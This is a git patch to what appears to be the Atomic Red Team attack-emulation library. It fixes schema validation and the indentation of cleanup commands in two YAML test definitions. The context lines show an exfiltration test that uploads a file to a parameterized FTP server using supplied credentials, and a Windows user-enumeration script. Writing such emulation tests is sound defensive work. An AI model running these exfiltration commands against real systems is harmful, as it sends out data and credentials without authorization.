From e742bcb626bb8680d164062fba1d0d8400b9e195 Mon Sep 17 00:00:00 2001 From: Hare Sudhan Date: Sat, 20 Jan 2024 15:44:16 -0500 Subject: [PATCH] Fix schema validation (#2666) --- atomics/T1020/T1020.yaml | 4 ++-- atomics/T1033/T1033.yaml | 5 ++--- bin/validate/atomic-red-team.schema.yaml | 1 + 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/atomics/T1020/T1020.yaml b/atomics/T1020/T1020.yaml index 82c85fc1..7d047c8d 100644 --- a/atomics/T1020/T1020.yaml +++ b/atomics/T1020/T1020.yaml @@ -57,5 +57,5 @@ atomic_tests: $ftpUrl = "#{ftpServer}" $creds = Get-Credential -Credential "#{credentials}" Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "#{sampleFile}" -Credential $creds - cleanup_command: | - Remove-Item -Path "#{sampleFile}" -ErrorAction Ignore + cleanup_command: | + Remove-Item -Path "#{sampleFile}" -ErrorAction Ignore diff --git a/atomics/T1033/T1033.yaml b/atomics/T1033/T1033.yaml index 5dd4b219..bad7d023 100644 --- a/atomics/T1033/T1033.yaml +++ b/atomics/T1033/T1033.yaml @@ -111,7 +111,6 @@ atomic_tests: description: "Identify the system owner or current user using native Windows command prompt utilities." supported_platforms: - "windows" - auto_generated_guid: 35b88076-7edb-4eb5-bdc5-11ede7f45c6a input_arguments: output_file_path: description: "Location of output file." @@ -126,5 +125,5 @@ atomic_tests: echo User Domain: %USERDOMAIN% >> %file% net users >> %file% query user >> %file% - cleanup_command: | - del #{output_file_path}\\user_info_*.tmp + cleanup_command: | + del #{output_file_path}\\user_info_*.tmp diff --git a/bin/validate/atomic-red-team.schema.yaml b/bin/validate/atomic-red-team.schema.yaml index 478888f8..94045213 100644 --- a/bin/validate/atomic-red-team.schema.yaml +++ b/bin/validate/atomic-red-team.schema.yaml @@ -21,6 +21,7 @@ properties: $defs: test: type: object + additionalProperties: false required: - name - description